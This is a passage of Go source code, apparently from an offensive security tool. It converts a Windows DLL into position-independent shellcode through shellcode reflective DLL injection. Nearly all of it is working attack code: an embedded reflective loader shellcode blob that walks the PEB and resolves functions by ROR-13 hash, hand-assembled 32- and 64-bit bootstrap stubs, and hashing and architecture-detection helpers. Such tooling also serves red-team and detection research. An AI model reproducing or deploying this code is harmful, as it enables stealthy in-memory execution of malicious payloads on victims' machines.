0xD0, 0x8B, 0x42, 0x04, 0x85, 0xC0, 0x75, 0x84, 0x0F, 0xB7, 0x6F, 0x06, 0x0F, 0xB7, 0x47, 0x14, 0x48, 0x85, 0xED, 0x0F, 0x84, 0xCF, 0x00, 0x00, 0x00, 0x8B, 0x9C, 0x24, 0xC0, 0x00, 0x00, 0x00, 0x4C, 0x8D, 0x77, 0x3C, 0x4C, 0x8B, 0x6C, 0x24, 0x30, 0x4C, 0x03, 0xF0, 0x48, 0xFF, 0xCD, 0x41, 0x83, 0x7E, 0xEC, 0x00, 0x0F, 0x86, 0x9D, 0x00, 0x00, 0x00, 0x45, 0x8B, 0x06, 0x41, 0x8B, 0xD0, 0xC1, 0xEA, 0x1E, 0x41, 0x8B, 0xC0, 0x41, 0x8B, 0xC8, 0xC1, 0xE8, 0x1D, 0x83, 0xE2, 0x01, 0xC1, 0xE9, 0x1F, 0x83, 0xE0, 0x01, 0x75, 0x1E, 0x85, 0xD2, 0x75, 0x0B, 0xF7, 0xD9, 0x1B, 0xDB, 0x83, 0xE3, 0x07, 0xFF, 0xC3, 0xEB, 0x3E, 0xF7, 0xD9, 0xB8, 0x02, 0x00, 0x00, 0x00, 0x1B, 0xDB, 0x23, 0xD8, 0x03, 0xD8, 0xEB, 0x2F, 0x85, 0xD2, 0x75, 0x18, 0x85, 0xC9, 0x75, 0x05, 0x8D, 0x5A, 0x10, 0xEB, 0x22, 0x85, 0xD2, 0x75, 0x0B, 0x85, 0xC9, 0x74, 0x1A, 0xBB, 0x80, 0x00, 0x00, 0x00, 0xEB, 0x13, 0x85, 0xC9, 0x75, 0x05, 0x8D, 0x59, 0x20, 0xEB, 0x0A, 0x85, 0xC9, 0xB8, 0x40, 0x00, 0x00, 0x00, 0x0F, 0x45, 0xD8, 0x41, 0x8B, 0x4E, 0xE8, 0x4C, 0x8D, 0x8C, 0x24, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x8B, 0x56, 0xEC, 0x8B, 0xC3, 0x0F, 0xBA, 0xE8, 0x09, 0x41, 0x81, 0xE0, 0x00, 0x00, 0x00, 0x04, 0x0F, 0x44, 0xC3, 0x48, 0x03, 0xCE, 0x44, 0x8B, 0xC0, 0x8B, 0xD8, 0x41, 0xFF, 0xD5, 0x85, 0xC0, 0x0F, 0x84, 0xA1, 0xFC, 0xFF, 0xFF, 0x49, 0x83, 0xC6, 0x28, 0x48, 0x85, 0xED, 0x0F, 0x85, 0x48, 0xFF, 0xFF, 0xFF, 0x44, 0x8D, 0x6D, 0x02, 0x8B, 0x5F, 0x28, 0x45, 0x33, 0xC0, 0x33, 0xD2, 0x48, 0x83, 0xC9, 0xFF, 0x48, 0x03, 0xDE, 0x41, 0xFF, 0xD4, 0xBD, 0x01, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xCE, 0x44, 0x8B, 0xC5, 0x8B, 0xD5, 0xFF, 0xD3, 0x45, 0x85, 0xFF, 0x0F, 0x84, 0x97, 0x00, 0x00, 0x00, 0x83, 0xBF, 0x8C, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x84, 0x8A, 0x00, 0x00, 0x00, 0x8B, 0x97, 0x88, 0x00, 0x00, 0x00, 0x48, 0x03, 0xD6, 0x44, 0x8B, 0x5A, 0x18, 0x45, 0x85, 0xDB, 0x74, 0x78, 0x83, 0x7A, 0x14, 0x00, 0x74, 0x72, 0x44, 0x8B, 0x52, 0x20, 0x33, 0xDB, 0x44, 0x8B, 0x4A, 0x24, 0x4C, 0x03, 0xD6, 0x4C, 0x03, 0xCE, 0x45, 0x85, 0xDB, 0x74, 0x5D, 0x45, 0x8B, 0x02, 0x4C, 0x03, 0xC6, 0x33, 0xC9, 0x41, 0x0F, 0xBE, 0x00, 0x4C, 0x03, 0xC5, 0xC1, 0xC9, 0x0D, 0x03, 0xC8, 0x41, 0x80, 0x78, 0xFF, 0x00, 0x75, 0xED, 0x44, 0x3B, 0xF9, 0x74, 0x10, 0x03, 0xDD, 0x49, 0x83, 0xC2, 0x04, 0x4D, 0x03, 0xCD, 0x41, 0x3B, 0xDB, 0x72, 0xD2, 0xEB, 0x2D, 0x41, 0x0F, 0xB7, 0x01, 0x83, 0xF8, 0xFF, 0x74, 0x24, 0x8B, 0x52, 0x1C, 0x48, 0x8B, 0x8C, 0x24, 0xD0, 0x00, 0x00, 0x00, 0xC1, 0xE0, 0x02, 0x48, 0x98, 0x48, 0x03, 0xC6, 0x44, 0x8B, 0x04, 0x02, 0x8B, 0x94, 0x24, 0xD8, 0x00, 0x00, 0x00, 0x4C, 0x03, 0xC6, 0x41, 0xFF, 0xD0, 0x48, 0x8B, 0xC6, 0x48, 0x83, 0xC4, 0x78, 0x41, 0x5F, 0x41, 0x5E, 0x41, 0x5D, 0x41, 0x5C, 0x5F, 0x5E, 0x5D, 0x5B, 0xC3, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, 0x48, 0x83, 0xEC, 0x10, 0x65, 0x48, 0x8B, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00, 0x8B, 0xF1, 0x48, 0x8B, 0x50, 0x18, 0x4C, 0x8B, 0x4A, 0x10, 0x4D, 0x8B, 0x41, 0x30, 0x4D, 0x85, 0xC0, 0x0F, 0x84, 0xB4, 0x00, 0x00, 0x00, 0x41, 0x0F, 0x10, 0x41, 0x58, 0x49, 0x63, 0x40, 0x3C, 0x33, 0xD2, 0x4D, 0x8B, 0x09, 0xF3, 0x0F, 0x7F, 0x04, 0x24, 0x42, 0x8B, 0x9C, 0x00, 0x88, 0x00, 0x00, 0x00, 0x85, 0xDB, 0x74, 0xD4, 0x48, 0x8B, 0x04, 0x24, 0x48, 0xC1, 0xE8, 0x10, 0x44, 0x0F, 0xB7, 0xD0, 0x45, 0x85, 0xD2, 0x74, 0x21, 0x48, 0x8B, 0x4C, 0x24, 0x08, 0x45, 0x8B, 0xDA, 0x0F, 0xBE, 0x01, 0xC1, 0xCA, 0x0D, 0x80, 0x39, 0x61, 0x7C, 0x03, 0x83, 0xC2, 0xE0, 0x03, 0xD0, 0x48, 0xFF, 0xC1, 0x49, 0x83, 0xEB, 0x01, 0x75, 0xE7, 0x4D, 0x8D, 0x14, 0x18, 0x33, 0xC9, 0x41, 0x8B, 0x7A, 0x20, 0x49, 0x03, 0xF8, 0x41, 0x39, 0x4A, 0x18, 0x76, 0x8F, 0x8B, 0x1F, 0x45, 0x33, 0xDB, 0x49, 0x03, 0xD8, 0x48, 0x8D, 0x7F, 0x04, 0x0F, 0xBE, 0x03, 0x48, 0xFF, 0xC3, 0x41, 0xC1, 0xCB, 0x0D, 0x44, 0x03, 0xD8, 0x80, 0x7B, 0xFF, 0x00, 0x75, 0xED, 0x41, 0x8D, 0x04, 0x13, 0x3B, 0xC6, 0x74, 0x0D, 0xFF, 0xC1, 0x41, 0x3B, 0x4A, 0x18, 0x72, 0xD1, 0xE9, 0x5B, 0xFF, 0xFF, 0xFF, 0x41, 0x8B, 0x42, 0x24, 0x03, 0xC9, 0x49, 0x03, 0xC0, 0x0F, 0xB7, 0x14, 0x01, 0x41, 0x8B, 0x4A, 0x1C, 0x49, 0x03, 0xC8, 0x8B, 0x04, 0x91, 0x49, 0x03, 0xC0, 0xEB, 0x02, 0x33, 0xC0, 0x48, 0x8B, 0x5C, 0x24, 0x20, 0x48, 0x8B, 0x74, 0x24, 0x28, 0x48, 0x83, 0xC4, 0x10, 0x5F, 0xC3} 26 | 27 | flags := 0 28 | 29 | userData := []byte("None") 30 | 31 | var final []byte 32 | 33 | if is64BitDLL(dllBytes) { 34 | // do 64 bit things 35 | 36 | bootstrapSize := 64 37 | 38 | // call next instruction (Pushes next instruction address to stack) 39 | bootstrap := []byte{0xe8, 0x00, 0x00, 0x00, 0x00} 40 | 41 | // Set the offset to our DLL from pop result 42 | dllOffset := bootstrapSize - len(bootstrap) + len(rdiShellcode64) 43 | 44 | // pop rcx - Capture our current location in memory 45 | bootstrap = append(bootstrap, 0x59) 46 | 47 | // mov r8, rcx - copy our location in memory to r8 before we start modifying RCX 48 | bootstrap = append(bootstrap, 0x49, 0x89, 0xc8) 49 | 50 | // add rcx, 51 | bootstrap = append(bootstrap, 0x48, 0x81, 0xc1) 52 | 53 | bootstrap = append(bootstrap, pack(uint32(dllOffset))...) 54 | 55 | // mov edx, 56 | bootstrap = append(bootstrap, 0xba) 57 | bootstrap = append(bootstrap, functionHash...) 58 | 59 | // Set up the location of our user data 60 | // add r8, + 61 | bootstrap = append(bootstrap, 0x49, 0x81, 0xc0) 62 | userDataLocation := dllOffset + len(dllBytes) 63 | bootstrap = append(bootstrap, pack(uint32(userDataLocation))...) 64 | 65 | // mov r9d, 66 | bootstrap = append(bootstrap, 0x41, 0xb9) 67 | bootstrap = append(bootstrap, pack(uint32(len(userData)))...) 68 | 69 | // push rsi - save original value 70 | bootstrap = append(bootstrap, 0x56) 71 | 72 | // mov rsi, rsp - store our current stack pointer for later 73 | bootstrap = append(bootstrap, 0x48, 0x89, 0xe6) 74 | 75 | // and rsp, 0x0FFFFFFFFFFFFFFF0 - Align the stack to 16 bytes 76 | bootstrap = append(bootstrap, 0x48, 0x83, 0xe4, 0xf0) 77 | 78 | // sub rsp, 0x30 - Create some breathing room on the stack 79 | bootstrap = append(bootstrap, 0x48, 0x83, 0xec) 80 | bootstrap = append(bootstrap, 0x30) // 32 bytes for shadow space + 8 bytes for last arg + 8 bytes for stack alignment 81 | 82 | // mov dword ptr [rsp + 0x20], - Push arg 5 just above shadow space 83 | bootstrap = append(bootstrap, 0xC7, 0x44, 0x24) 84 | bootstrap = append(bootstrap, 0x20) 85 | bootstrap = append(bootstrap, pack(uint32(flags))...) 86 | 87 | // call - Transfer execution to the RDI 88 | bootstrap = append(bootstrap, 0xe8) 89 | bootstrap = append(bootstrap, byte(bootstrapSize-len(bootstrap)-4)) // Skip over the remainder of instructions 90 | bootstrap = append(bootstrap, 0x00, 0x00, 0x00) 91 | 92 | // mov rsp, rsi - Reset our original stack pointer 93 | bootstrap = append(bootstrap, 0x48, 0x89, 0xf4) 94 | 95 | // pop rsi - Put things back where we left them 96 | bootstrap = append(bootstrap, 0x5e) 97 | 98 | // ret - return to caller 99 | bootstrap = append(bootstrap, 0xc3) 100 | 101 | final = append(bootstrap, rdiShellcode64...) 102 | final = append(final, dllBytes...) 103 | final = append(final, userData...) 104 | 105 | } else { 106 | // do 32 bit things 107 | 108 | bootstrapSize := 45 109 | 110 | // call next instruction (Pushes next instruction address to stack) 111 | bootstrap := []byte{0xe8, 0x00, 0x00, 0x00, 0x00} 112 | 113 | // Set the offset to our DLL from pop result 114 | dllOffset := bootstrapSize - len(bootstrap) + len(rdiShellcode32) 115 | 116 | // pop eax - Capture our current location in memory 117 | bootstrap = append(bootstrap, 0x58) 118 | 119 | // mov ebx, eax - copy our location in memory to ebx before we start modifying eax 120 | bootstrap = append(bootstrap, 0x89, 0xc3) 121 | 122 | // add eax, 123 | bootstrap = append(bootstrap, 0x05) 124 | bootstrap = append(bootstrap, pack(uint32(dllOffset))...) 125 | 126 | // add ebx, + 127 | bootstrap = append(bootstrap, 0x81, 0xc3) 128 | userDataLocation := dllOffset + len(dllBytes) 129 | bootstrap = append(bootstrap, pack(uint32(userDataLocation))...) 130 | 131 | // push 132 | bootstrap = append(bootstrap, 0x68) 133 | bootstrap = append(bootstrap, pack(uint32(flags))...) 134 | 135 | // push 136 | bootstrap = append(bootstrap, 0x68) 137 | bootstrap = append(bootstrap, pack(uint32(len(userData)))...) 138 | 139 | // push ebx 140 | bootstrap = append(bootstrap, 0x53) 141 | 142 | // push 143 | bootstrap = append(bootstrap, 0x68) 144 | bootstrap = append(bootstrap, functionHash...) 145 | 146 | // push eax 147 | bootstrap = append(bootstrap, 0x50) 148 | 149 | // call - Transfer execution to the RDI 150 | bootstrap = append(bootstrap, 0xe8) 151 | bootstrap = append(bootstrap, byte(bootstrapSize-len(bootstrap)-4)) // Skip over the remainder of instructions 152 | bootstrap = append(bootstrap, 0x00, 0x00, 0x00) 153 | 154 | // add esp, 0x14 - correct the stack pointer 155 | bootstrap = append(bootstrap, 0x83, 0xc4, 0x14) 156 | 157 | // ret - return to caller 158 | bootstrap = append(bootstrap, 0xc3) 159 | 160 | final = append(bootstrap, rdiShellcode32...) 161 | final = append(final, dllBytes...) 162 | final = append(final, userData...) 163 | } 164 | 165 | return final 166 | 167 | } 168 | 169 | // helper function similar to struct.pack from python3 170 | func pack(val uint32) []byte { 171 | bytes := make([]byte, 4) 172 | binary.LittleEndian.PutUint32(bytes, val) 173 | return bytes 174 | } 175 | 176 | // "HelloWorld" = 3571859646 177 | func hashFunctionName(name string) uint32 { 178 | function := []byte(name) 179 | function = append(function, 0x00) 180 | 181 | functionHash := uint32(0) 182 | 183 | for _, b := range function { 184 | functionHash = ror(functionHash, 13, 32) 185 | functionHash += uint32(b) 186 | } 187 | 188 | return functionHash 189 | } 190 | 191 | // ROR-13 implementation 192 | func ror(val uint32, rBits uint32, maxBits uint32) uint32 { 193 | exp := uint32(math.Exp2(float64(maxBits))) - 1 194 | return ((val & exp) >> (rBits % maxBits)) | (val << (maxBits - (rBits % maxBits)) & exp) 195 | } 196 | 197 | // is64BitDLL checks if the DLL is 64 bit 198 | func is64BitDLL(dllBytes []byte) bool { 199 | machineIA64 := uint16(512) 200 | machineAMD64 := uint16(34404) 201 | 202 | headerOffset := binary.LittleEndian.Uint32(dllBytes[60:64]) 203 | machine := binary.LittleEndian.Uint16(dllBytes[headerOffset+4 : headerOffset+4+2]) 204 | 205 | // 64 bit 206 | if machine == machineIA64 || machine == machineAMD64 { 207 | return true 208 | } 209 | return false 210 | } 211 | --------------------------------------------------------------------------------